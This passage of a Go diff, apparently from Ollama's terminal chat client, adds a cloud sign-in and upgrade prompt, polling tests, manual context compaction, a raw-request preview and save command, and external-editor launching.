|
||||
}
|
||||
|
||||
func (m *chatModel) startCloudAuthSignIn(modelName, requiredPlan, signInURL string) (tea.Model, tea.Cmd) {
|
||||
m.cloudAuthPrompt = &cloudAuthPrompt{
|
||||
modelName: modelName,
|
||||
requiredPlan: requiredPlan,
|
||||
kind: cloudAuthSignIn,
|
||||
signInURL: signInURL,
|
||||
polling: true,
|
||||
}
|
||||
m.status = "cloud-auth"
|
||||
m.modelPicker = nil
|
||||
if m.opts.OpenBrowser != nil && signInURL != "" {
|
||||
m.opts.OpenBrowser(signInURL)
|
||||
}
|
||||
if signInURL == "" {
|
||||
return m, checkCloudModelCmd(m.ctx, m.opts.CheckCloudModel, modelName, requiredPlan)
|
||||
}
|
||||
return m, tea.Batch(cloudAuthTickCmd(), pollCloudAuthCmd(m.ctx, m.opts.PollCloudAuth))
|
||||
}
|
||||
|
||||
func (m *chatModel) startCloudAuthUpgrade(modelName, requiredPlan string) (tea.Model, tea.Cmd) {
|
||||
m.cloudAuthPrompt = &cloudAuthPrompt{
|
||||
modelName: modelName,
|
||||
requiredPlan: requiredPlan,
|
||||
kind: cloudAuthUpgrade,
|
||||
openNow: true,
|
||||
}
|
||||
m.status = "cloud-auth"
|
||||
m.modelPicker = nil
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m chatModel) updateCloudAuthPrompt(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
switch msg := msg.(type) {
|
||||
case cloudAuthCheckMsg:
|
||||
if msg.err == nil {
|
||||
// Auth passed — apply the pending model.
|
||||
return m.completeCloudAuth()
|
||||
}
|
||||
// Determine if sign-in or upgrade is needed.
|
||||
if msg.signInURL != "" {
|
||||
m.cloudAuthPrompt.kind = cloudAuthSignIn
|
||||
m.cloudAuthPrompt.signInURL = msg.signInURL
|
||||
m.cloudAuthPrompt.polling = true
|
||||
if m.opts.OpenBrowser != nil {
|
||||
m.opts.OpenBrowser(msg.signInURL)
|
||||
}
|
||||
return m, tea.Batch(cloudAuthTickCmd(), pollCloudAuthCmd(m.ctx, m.opts.PollCloudAuth))
|
||||
}
|
||||
// Could be a plan upgrade error or unknown error.
|
||||
m.cloudAuthPrompt = nil
|
||||
m.status = "ready"
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: fmt.Sprintf("Could not switch model: %v", msg.err), err: msg.err.Error()}))
|
||||
return m, nil
|
||||
|
||||
case cloudAuthTickMsg:
|
||||
if m.cloudAuthPrompt == nil {
|
||||
return m, nil
|
||||
}
|
||||
m.cloudAuthPrompt.spinner++
|
||||
return m, cloudAuthTickCmd()
|
||||
|
||||
case cloudAuthPollMsg:
|
||||
if m.cloudAuthPrompt == nil {
|
||||
return m, nil
|
||||
}
|
||||
if msg.done {
|
||||
// Signed in — re-check auth to see if plan is satisfied.
|
||||
m.cloudAuthPrompt.polling = false
|
||||
return m, checkCloudModelCmd(m.ctx, m.opts.CheckCloudModel, m.cloudAuthPrompt.modelName, m.cloudAuthPrompt.requiredPlan)
|
||||
}
|
||||
return m, pollCloudAuthCmd(m.ctx, m.opts.PollCloudAuth)
|
||||
|
||||
case tea.KeyMsg:
|
||||
if msg.Type == tea.KeyEsc || msg.Type == tea.KeyCtrlC {
|
||||
m.cloudAuthPrompt = nil
|
||||
m.pendingModel = ""
|
||||
m.status = "ready"
|
||||
return m, nil
|
||||
}
|
||||
if m.cloudAuthPrompt.kind == cloudAuthUpgrade && !m.cloudAuthPrompt.polling {
|
||||
switch msg.Type {
|
||||
case tea.KeyLeft, tea.KeyRight, tea.KeyTab:
|
||||
m.cloudAuthPrompt.openNow = !m.cloudAuthPrompt.openNow
|
||||
case tea.KeyEnter:
|
||||
if m.cloudAuthPrompt.openNow {
|
||||
m.cloudAuthPrompt.polling = true
|
||||
return m, tea.Batch(cloudAuthTickCmd(), pollCloudAuthCmd(m.ctx, m.opts.PollCloudAuth))
|
||||
}
|
||||
m.cloudAuthPrompt = nil
|
||||
m.pendingModel = ""
|
||||
m.status = "ready"
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m chatModel) completeCloudAuth() (tea.Model, tea.Cmd) {
|
||||
pending := m.cloudAuthPrompt.modelName
|
||||
m.cloudAuthPrompt = nil
|
||||
m.pendingModel = ""
|
||||
m.modelPicker = nil
|
||||
m.status = "ready"
|
||||
if err := m.applyModelSelection(pending, true); err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: fmt.Sprintf("Could not switch model: %v", err), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return m, nil
|
||||
}
|
||||
return m, m.startModelPreload(pending)
|
||||
}
|
||||
|
||||
func (m chatModel) renderCloudAuthPrompt(width int) string {
|
||||
if m.cloudAuthPrompt == nil {
|
||||
return ""
|
||||
}
|
||||
if width <= 0 {
|
||||
width = 80
|
||||
}
|
||||
|
||||
p := m.cloudAuthPrompt
|
||||
spinnerFrames := []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
|
||||
frame := spinnerFrames[p.spinner%len(spinnerFrames)]
|
||||
|
||||
var b strings.Builder
|
||||
|
||||
switch p.kind {
|
||||
case cloudAuthChecking:
|
||||
fmt.Fprintf(&b, "%s Checking %s...\n\n", frame, chatResumeSelectedStyle.Render(p.modelName))
|
||||
b.WriteString(chatResumeMetaStyle.Render("esc cancel"))
|
||||
case cloudAuthSignIn:
|
||||
fmt.Fprintf(&b, "To use %s, please sign in.\n\n", chatResumeSelectedStyle.Render(p.modelName))
|
||||
b.WriteString("Navigate to:\n")
|
||||
urlWrap := chatResumeTextStyle
|
||||
if width > 4 {
|
||||
urlWrap = chatResumeTextStyle.Width(width - 4)
|
||||
}
|
||||
b.WriteString(urlWrap.Render(p.signInURL))
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(chatResumeMetaStyle.Render(frame + " Waiting for sign in to complete..."))
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(chatResumeMetaStyle.Render("esc cancel"))
|
||||
case cloudAuthUpgrade:
|
||||
fmt.Fprintf(&b, "To use %s, upgrade your Ollama plan.\n\n", chatResumeSelectedStyle.Render(p.modelName))
|
||||
if !p.polling {
|
||||
var yesBtn, noBtn string
|
||||
if p.openNow {
|
||||
yesBtn = chatResumeSelectedStyle.Render("› Yes ")
|
||||
noBtn = chatResumeMetaStyle.Render(" No ")
|
||||
} else {
|
||||
yesBtn = chatResumeMetaStyle.Render(" Yes ")
|
||||
noBtn = chatResumeSelectedStyle.Render("› No ")
|
||||
}
|
||||
b.WriteString("Open upgrade page now?\n")
|
||||
b.WriteString(yesBtn + " " + noBtn)
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(chatResumeMetaStyle.Render("←/→ navigate • enter confirm • esc cancel"))
|
||||
} else {
|
||||
b.WriteString(chatResumeMetaStyle.Render(frame + " Waiting for upgrade to complete..."))
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(chatResumeMetaStyle.Render("esc cancel"))
|
||||
}
|
||||
}
|
||||
|
||||
return b.String()
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCloudAuthTickDoesNotPoll(t *testing.T) {
|
||||
polls := 0
|
||||
m := chatModel{
|
||||
cloudAuthPrompt: &cloudAuthPrompt{polling: true},
|
||||
opts: Options{
|
||||
PollCloudAuth: func(context.Context) (string, bool) {
|
||||
polls++
|
||||
return "", false
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
updated, cmd := m.updateCloudAuthPrompt(cloudAuthTickMsg{})
|
||||
m = updated.(chatModel)
|
||||
|
||||
if m.cloudAuthPrompt.spinner != 1 {
|
||||
t.Fatalf("spinner = %d, want 1", m.cloudAuthPrompt.spinner)
|
||||
}
|
||||
if polls != 0 {
|
||||
t.Fatalf("polls = %d, want 0 before running returned tick command", polls)
|
||||
}
|
||||
if cmd == nil {
|
||||
t.Fatal("tick should schedule the next tick")
|
||||
}
|
||||
if _, ok := cmd().(cloudAuthTickMsg); !ok {
|
||||
t.Fatal("tick should schedule another tick, not a poll")
|
||||
}
|
||||
if polls != 0 {
|
||||
t.Fatalf("polls = %d, want 0 after running returned tick command", polls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloudAuthPollSchedulesNextPoll(t *testing.T) {
|
||||
polls := 0
|
||||
m := chatModel{
|
||||
cloudAuthPrompt: &cloudAuthPrompt{polling: true},
|
||||
opts: Options{
|
||||
PollCloudAuth: func(context.Context) (string, bool) {
|
||||
polls++
|
||||
return "", false
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
_, cmd := m.updateCloudAuthPrompt(cloudAuthPollMsg{})
|
||||
if cmd == nil {
|
||||
t.Fatal("poll should schedule the next poll")
|
||||
}
|
||||
msg, ok := cmd().(cloudAuthPollMsg)
|
||||
if !ok {
|
||||
t.Fatal("poll should schedule another poll, not a tick")
|
||||
}
|
||||
if msg.done {
|
||||
t.Fatal("poll should report not done")
|
||||
}
|
||||
if polls != 1 {
|
||||
t.Fatalf("polls = %d, want 1", polls)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func (m *chatModel) startManualCompaction() (tea.Model, tea.Cmd) {
|
||||
if m.running || m.compacting {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: "Wait for the current response to finish before compacting."}))
|
||||
return *m, nil
|
||||
}
|
||||
m.refreshContextWindowTokens(m.opts.Model)
|
||||
if m.opts.Compactor == nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: coreagent.CompactionSkippedMessage("compaction is unavailable")}))
|
||||
m.status = "compact skipped"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
ctx := m.ctx
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
compactor := m.opts.Compactor
|
||||
events := make(chan tea.Msg, 128)
|
||||
m.compacting = true
|
||||
m.compactingTokens = 0
|
||||
m.cancel = cancel
|
||||
m.compactEvents = events
|
||||
m.status = "compacting"
|
||||
messages := slices.Clone(m.messages)
|
||||
var tools api.Tools
|
||||
if m.opts.Tools != nil {
|
||||
tools = m.opts.Tools.Tools()
|
||||
}
|
||||
req := coreagent.CompactionRequest{
|
||||
ChatID: m.chatID,
|
||||
Model: m.opts.Model,
|
||||
SystemPrompt: m.systemPrompt(""),
|
||||
Messages: messages,
|
||||
Tools: tools,
|
||||
Format: m.opts.Format,
|
||||
Options: m.opts.Options,
|
||||
KeepAlive: m.opts.KeepAlive,
|
||||
Force: true,
|
||||
Progress: func(progress coreagent.CompactionProgress) {
|
||||
select {
|
||||
case events <- chatCompactProgressMsg{tokens: progress.Tokens}:
|
||||
case <-runCtx.Done():
|
||||
}
|
||||
},
|
||||
}
|
||||
go func() {
|
||||
defer close(events)
|
||||
result, err := compactor.MaybeCompact(runCtx, req)
|
||||
select {
|
||||
case events <- chatCompactDoneMsg{result: result, err: err}:
|
||||
case <-runCtx.Done():
|
||||
}
|
||||
}()
|
||||
tickCmd := m.scheduleTick()
|
||||
return *m, tea.Batch(waitForChatMsg(events), tickCmd)
|
||||
}
|
||||
|
||||
func (m chatModel) finishManualCompaction(msg chatCompactDoneMsg) (tea.Model, tea.Cmd) {
|
||||
wasCanceling := m.status == "canceling"
|
||||
m.compacting = false
|
||||
m.compactEvents = nil
|
||||
m.cancel = nil
|
||||
m.compactingTokens = 0
|
||||
if wasCanceling || isChatContextCanceledError(msg.err) {
|
||||
m.status = "compact canceled"
|
||||
return m.withFlowTranscriptFlush(m.startNextQueued())
|
||||
}
|
||||
if msg.err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: coreagent.CompactionSkippedMessage(msg.err.Error())}))
|
||||
m.status = "compact skipped"
|
||||
return m.withFlowTranscriptFlush(m.startNextQueued())
|
||||
}
|
||||
if !msg.result.Compacted {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "system", content: coreagent.CompactionSkippedMessage(msg.result.Reason)}))
|
||||
m.status = "compact skipped"
|
||||
return m.withFlowTranscriptFlush(m.startNextQueued())
|
||||
}
|
||||
|
||||
m.messages = msg.result.Messages
|
||||
m.liveMessages = nil
|
||||
m.entries = entriesFromMessages(m.messages)
|
||||
m.contextTokens = m.estimatePromptTokens(m.messages, "")
|
||||
m.contextEstimate = true
|
||||
m.scroll = 0
|
||||
m.flowPrintedLines = 0
|
||||
m.status = "compacted"
|
||||
return m.withFlowTranscriptFlush(m.startNextQueued())
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type rawRequestDisplay struct {
|
||||
Model string `json:"model"`
|
||||
Messages []rawRequestMessage `json:"messages"`
|
||||
Format any `json:"format,omitempty"`
|
||||
KeepAlive *api.Duration `json:"keep_alive,omitempty"`
|
||||
Tools api.Tools `json:"tools,omitempty"`
|
||||
Options map[string]any `json:"options"`
|
||||
Think *api.ThinkValue `json:"think,omitempty"`
|
||||
}
|
||||
|
||||
type rawRequestMessage struct {
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
Thinking string `json:"thinking,omitempty"`
|
||||
Images []string `json:"images,omitempty"`
|
||||
ToolCalls []api.ToolCall `json:"tool_calls,omitempty"`
|
||||
ToolName string `json:"tool_name,omitempty"`
|
||||
ToolCallID string `json:"tool_call_id,omitempty"`
|
||||
}
|
||||
|
||||
func (m chatModel) requestPreview(messages []api.Message) coreagent.ChatRequestPreview {
|
||||
var tools api.Tools
|
||||
policy := m.currentPolicy()
|
||||
if registry := policy.Tools(m.opts.Tools); registry != nil {
|
||||
tools = registry.Tools()
|
||||
}
|
||||
return coreagent.BuildChatRequestPreview(coreagent.RunOptions{
|
||||
Model: m.opts.Model,
|
||||
SystemPrompt: m.systemPrompt(""),
|
||||
Format: m.opts.Format,
|
||||
Options: m.opts.Options,
|
||||
Think: m.opts.Think,
|
||||
KeepAlive: m.opts.KeepAlive,
|
||||
Policy: policy,
|
||||
}, messages, tools)
|
||||
}
|
||||
|
||||
func (m *chatModel) openRawRequestPopup() (tea.Model, tea.Cmd) {
|
||||
raw, tokens, err := m.rawRequestPreviewJSON()
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
m.historyPopup = &chatHistoryPopup{
|
||||
title: "Raw request",
|
||||
empty: "No request preview.",
|
||||
header: m.promptTokenHeader(tokens),
|
||||
raw: raw,
|
||||
stickToBottom: false,
|
||||
}
|
||||
m.status = "raw"
|
||||
return *m, tea.EnterAltScreen
|
||||
}
|
||||
|
||||
func (m *chatModel) handleRawCommand(args string) (tea.Model, tea.Cmd) {
|
||||
if strings.TrimSpace(args) == "" {
|
||||
return m.openRawRequestPopup()
|
||||
}
|
||||
filename, err := rawRedirectFilename(args)
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
return m.saveRawRequest(filename)
|
||||
}
|
||||
|
||||
func (m *chatModel) saveRawRequest(filename string) (tea.Model, tea.Cmd) {
|
||||
raw, _, err := m.rawRequestPreviewJSON()
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
dir := m.currentWorkingDir()
|
||||
if strings.TrimSpace(dir) == "" {
|
||||
dir, err = os.Getwd()
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
}
|
||||
path := filepath.Join(dir, filename)
|
||||
if err := os.WriteFile(path, []byte(raw+"\n"), 0o644); err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "error"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
m.entries = append(m.entries, newSlashEntry(fmt.Sprintf("Saved raw request to %s", filename)))
|
||||
m.status = "raw saved"
|
||||
return *m, nil
|
||||
}
|
||||
|
||||
func (m chatModel) rawRequestPreviewJSON() (string, int, error) {
|
||||
preview := m.requestPreview(m.messages)
|
||||
raw, err := rawRequestJSON(preview.Request)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
return raw, preview.PromptTokens, nil
|
||||
}
|
||||
|
||||
func rawRedirectFilename(args string) (string, error) {
|
||||
args = strings.TrimSpace(args)
|
||||
if !strings.HasPrefix(args, ">") {
|
||||
return "", fmt.Errorf("usage: /raw > filename")
|
||||
}
|
||||
fields := strings.Fields(strings.TrimSpace(strings.TrimPrefix(args, ">")))
|
||||
if len(fields) != 1 {
|
||||
return "", fmt.Errorf("usage: /raw > filename")
|
||||
}
|
||||
filename := strings.TrimSpace(fields[0])
|
||||
if filename == "" || filename == "." || filename == ".." || strings.ContainsAny(filename, `/\`) {
|
||||
return "", fmt.Errorf("raw filename must be a file name, not a path")
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(filename), ".json") {
|
||||
filename += ".json"
|
||||
}
|
||||
return filename, nil
|
||||
}
|
||||
|
||||
func (m chatModel) promptTokenHeader(tokens int) []string {
|
||||
window := coreagent.ResolveContextWindowTokens(m.opts.Options, m.opts.ContextWindowTokens)
|
||||
line := "estimated prompt: " + formatTokenCount(tokens)
|
||||
if window > 0 {
|
||||
line = fmt.Sprintf("estimated prompt: %d / %d tokens", max(tokens, 0), window)
|
||||
}
|
||||
return []string{chatResumeMetaStyle.Render(line)}
|
||||
}
|
||||
|
||||
func rawRequestJSON(req api.ChatRequest) (string, error) {
|
||||
display := rawRequestDisplay{
|
||||
Model: req.Model,
|
||||
Messages: rawRequestMessages(req.Messages),
|
||||
KeepAlive: req.KeepAlive,
|
||||
Tools: req.Tools,
|
||||
Options: req.Options,
|
||||
Think: req.Think,
|
||||
}
|
||||
if format := rawRequestFormat(req.Format); format != nil {
|
||||
display.Format = format
|
||||
}
|
||||
data, err := json.MarshalIndent(display, "", " ")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func rawRequestFormat(format json.RawMessage) any {
|
||||
if len(format) == 0 {
|
||||
return nil
|
||||
}
|
||||
var value any
|
||||
if err := json.Unmarshal(format, &value); err == nil {
|
||||
return value
|
||||
}
|
||||
return string(format)
|
||||
}
|
||||
|
||||
func rawRequestMessages(messages []api.Message) []rawRequestMessage {
|
||||
out := make([]rawRequestMessage, 0, len(messages))
|
||||
for _, msg := range messages {
|
||||
out = append(out, rawRequestMessage{
|
||||
Role: msg.Role,
|
||||
Content: msg.Content,
|
||||
Thinking: msg.Thinking,
|
||||
Images: rawImagePlaceholders(msg.Images),
|
||||
ToolCalls: msg.ToolCalls,
|
||||
ToolName: msg.ToolName,
|
||||
ToolCallID: msg.ToolCallID,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func rawImagePlaceholders(images []api.ImageData) []string {
|
||||
if len(images) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, 0, len(images))
|
||||
for _, image := range images {
|
||||
out = append(out, fmt.Sprintf("[image data: %d bytes]", len(image)))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func renderRawRequestLines(raw string, width int) []string {
|
||||
raw = strings.TrimRight(raw, "\n")
|
||||
if raw == "" {
|
||||
return nil
|
||||
}
|
||||
var lines []string
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
lines = append(lines, renderHistoryCodeLine("", line, width)...)
|
||||
}
|
||||
return stringsTrimTrailingEmptyLines(lines)
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
type chatEditorDoneMsg struct {
|
||||
content string
|
||||
err error
|
||||
}
|
||||
|
||||
func (m chatModel) openInputEditor() (tea.Model, tea.Cmd) {
|
||||
cmd, path, cleanup, err := inputEditorCommand(string(m.input))
|
||||
if err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: err.Error(), err: err.Error()}))
|
||||
m.status = "editor error"
|
||||
return m, nil
|
||||
}
|
||||
|
||||
return m, tea.ExecProcess(cmd, func(err error) tea.Msg {
|
||||
defer cleanup()
|
||||
if err != nil {
|
||||
return chatEditorDoneMsg{err: fmt.Errorf("editor exited with error: %w", err)}
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return chatEditorDoneMsg{err: fmt.Errorf("reading editor content: %w", err)}
|
||||
}
|
||||
return chatEditorDoneMsg{content: strings.TrimRight(string(data), "\n")}
|
||||
})
|
||||
}
|
||||
|
||||
func (m *chatModel) applyEditorResult(msg chatEditorDoneMsg) {
|
||||
if msg.err != nil {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "error", content: msg.err.Error(), err: msg.err.Error()}))
|
||||
m.status = "editor error"
|
||||
return
|
||||
}
|
||||
m.input = []rune(msg.content)
|
||||
m.inputCursor = len(m.input)
|
||||
m.inputCursorSet = true
|
||||
m.complete = 0
|
||||
m.resetPromptHistoryCursor()
|
||||
m.syncInputPlaceholders()
|
||||
m.status = "editor"
|
||||
}
|
||||
|
||||
func inputEditorCommand(content string) (*exec.Cmd, string, func(), error) {
|
||||
editor := inputEditorName()
|
||||
args := strings.Fields(editor)
|
||||
if len(args) == 0 {
|
||||
return nil, "", nil, fmt.Errorf("editor is empty, set OLLAMA_EDITOR to the path of your preferred editor")
|
||||
}
|
||||
if _, err := exec.LookPath(args[0]); err != nil {
|
||||
return nil, "", nil, fmt.Errorf("editor %q not found, set OLLAMA_EDITOR to the path of your preferred editor", args[0])
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "ollama-prompt-*.txt")
|
||||
if err != nil {
|
||||
return nil, "", nil, fmt.Errorf("creating temp file: %w", err)
|
||||
}
|
||||
cleanup := func() { _ = os.Remove(tmpFile.Name()) }
|
||||
if content != "" {
|
||||
if _, err := tmpFile.WriteString(content); err != nil {
|
||||
tmpFile.Close()
|
||||
cleanup()
|
||||
return nil, "", nil, fmt.Errorf("writing to temp file: %w", err)
|
||||
}
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
cleanup()
|
||||
return nil, "", nil, fmt.Errorf("closing temp file: %w", err)
|
||||
}
|
||||
|
||||
args = append(args, tmpFile.Name())
|
||||
return exec.Command(args[0], args[1:]...), tmpFile.Name(), cleanup, nil
|
||||
}
|
||||
|
||||
func inputEditorName() string {
|
||||
if editor := strings.TrimSpace(envconfig.Editor()); editor != "" {
|
||||
return editor
|
||||
}
|
||||
if editor := strings.TrimSpace(os.Getenv("VISUAL")); editor != "" {
|
||||
return editor
|
||||
}
|
||||
if editor := strings.TrimSpace(os.Getenv("EDITOR")); editor != "" {
|
||||
return editor
|
||||
}
|
||||
return defaultEditor
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build !windows
|
||||
|
||||
package cmd
|
||||
package chat
|
||||
|
||||
const defaultEditor = "vi"
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package cmd
|
||||
package chat
|
||||
|
||||
const defaultEditor = "edit"
|
||||
@@ -0,0 +1,334 @@
|
||||
package chat
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type chatAgentMsg struct {
|
||||
event coreagent.Event
|
||||
}
|
||||
|
||||
type chatApprovalPromptMsg struct {
|
||||
request coreagent.ApprovalRequest
|
||||
reply chan<- coreagent.ApprovalResult
|
||||
}
|
||||
|
||||
type chatRunDoneMsg struct {
|
||||
result *coreagent.RunResult
|
||||
err error
|
||||
newMessagesPersisted bool
|
||||
persistedMessages []api.Message
|
||||
}
|
||||
|
||||
type chatCompactDoneMsg struct {
|
||||
result coreagent.CompactionResult
|
||||
err error
|
||||
}
|
||||
|
||||
type chatCompactProgressMsg struct {
|
||||
tokens int
|
||||
}
|
||||
|
||||
// resetStreamingState clears the transient streaming flags that every
|
||||
// non-streaming event resets before applying its own state.
|
||||
func (m *chatModel) resetStreamingState() {
|
||||
m.awaitingModel = false
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
}
|
||||
|
||||
// resetRunState clears all run-progress flags (streaming plus compaction
|
||||
// progress) for terminal events that fully reset the run view.
|
||||
func (m *chatModel) resetRunState() {
|
||||
m.awaitingModel = false
|
||||
m.compacting = false
|
||||
m.compactingTokens = 0
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
}
|
||||
|
||||
type chatModelPreloadDoneMsg struct {
|
||||
model string
|
||||
err error
|
||||
}
|
||||
|
||||
type chatEventsClosedMsg struct{}
|
||||
|
||||
type chatTickMsg struct{}
|
||||
|
||||
func (m *chatModel) applyAgentEvent(event coreagent.Event) {
|
||||
contextChanged := false
|
||||
skipResponseMetrics := false
|
||||
|
||||
switch event.Type {
|
||||
case coreagent.EventRequestBuilt:
|
||||
m.awaitingModel = true
|
||||
case coreagent.EventMessageStarted:
|
||||
m.awaitingModel = m.running
|
||||
m.eventErrorRendered = false
|
||||
m.compacting = false
|
||||
m.compactingTokens = 0
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
m.refreshContextWindowTokens(m.opts.Model)
|
||||
case coreagent.EventThinkingDelta:
|
||||
m.awaitingModel = false
|
||||
if event.Thinking != "" {
|
||||
m.thinking = true
|
||||
m.thinkingTokens = max(m.thinkingTokens, eventEvalCount(event))
|
||||
if eventEvalCount(event) <= 0 {
|
||||
m.thinkingTokens += coreagent.EstimateTokens(event.Thinking)
|
||||
}
|
||||
idx := m.ensureLiveAssistantMessage()
|
||||
m.liveMessages[idx].Thinking += event.Thinking
|
||||
contextChanged = true
|
||||
}
|
||||
case coreagent.EventMessageDelta:
|
||||
m.resetStreamingState()
|
||||
m.groupCompletedToolHistory()
|
||||
idx := m.ensureAssistantEntry()
|
||||
m.entries[idx].content += event.Content
|
||||
m.markEntryDirty(idx)
|
||||
msgIdx := m.ensureLiveAssistantMessage()
|
||||
m.liveMessages[msgIdx].Content += event.Content
|
||||
contextChanged = true
|
||||
case coreagent.EventToolCallDetected:
|
||||
m.awaitingModel = m.running
|
||||
m.thinking = false
|
||||
m.thinkingTokens = 0
|
||||
idx := m.ensureLiveAssistantMessage()
|
||||
m.liveMessages[idx].ToolCalls = append(m.liveMessages[idx].ToolCalls, event.ToolCalls...)
|
||||
contextChanged = true
|
||||
case coreagent.EventToolStarted:
|
||||
m.resetStreamingState()
|
||||
m.refreshContextWindowTokens(m.opts.Model)
|
||||
idx := m.findActiveToolEntry(event.ToolCallID)
|
||||
if idx < 0 {
|
||||
m.groupCompletedToolHistory()
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "tool"}))
|
||||
idx = len(m.entries) - 1
|
||||
}
|
||||
m.entries[idx].detail = event.ToolName
|
||||
m.entries[idx].label = toolInvocationLabel(event.ToolName, event.Args)
|
||||
m.entries[idx].status = "running"
|
||||
m.entries[idx].toolID = event.ToolCallID
|
||||
m.entries[idx].args = event.Args
|
||||
m.entries[idx].startedAt = event.StartedAt
|
||||
m.applyToolOutputModeTo(idx)
|
||||
m.markEntryDirty(idx)
|
||||
case coreagent.EventToolFinished:
|
||||
m.resetStreamingState()
|
||||
m.refreshContextWindowTokens(m.opts.Model)
|
||||
if event.WorkingDir != "" {
|
||||
m.workingDir = event.WorkingDir
|
||||
}
|
||||
startedAt := m.toolStartedAt(event.ToolCallID)
|
||||
status := "done"
|
||||
if event.Error != "" {
|
||||
status = "error"
|
||||
}
|
||||
idx := m.findToolEntry(event.ToolCallID)
|
||||
if idx < 0 {
|
||||
m.entries = append(m.entries, newChatEntry(chatEntry{role: "tool"}))
|
||||
idx = len(m.entries) - 1
|
||||
}
|
||||
m.entries[idx].content = event.Content
|
||||
m.entries[idx].label = toolInvocationLabel(event.ToolName, event.Args)
|
||||
m.entries[idx].detail = event.ToolName
|
||||
m.entries[idx].status = status
|
||||
m.entries[idx].err = event.Error
|
||||
m.entries[idx].toolID = event.ToolCallID
|
||||
m.entries[idx].args = event.Args
|
||||
m.entries[idx].startedAt = startedAt
|
||||
m.entries[idx].finishedAt = event.FinishedAt
|
||||
m.applyToolOutputModeTo(idx)
